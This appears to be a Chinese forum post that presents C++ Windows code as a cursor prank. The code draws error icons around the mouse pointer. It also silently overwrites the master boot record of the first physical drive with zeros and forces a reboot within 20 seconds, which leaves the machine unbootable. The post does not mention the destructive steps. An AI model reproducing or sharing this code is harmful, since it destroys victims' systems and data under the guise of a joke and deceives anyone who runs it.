我发的光标恶gao就是那些网上下载的病毒展现的错误图标,我结合一下:
#include<iostream>
#include<windows.h>
using namespace std;
int main(){
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hDesktop = GetDesktopWindow();
HDC hdc = GetWindowDC(hDesktop);
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system("shutdown -r -f -t 20");
while(true){
POINT cursor;
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
}
}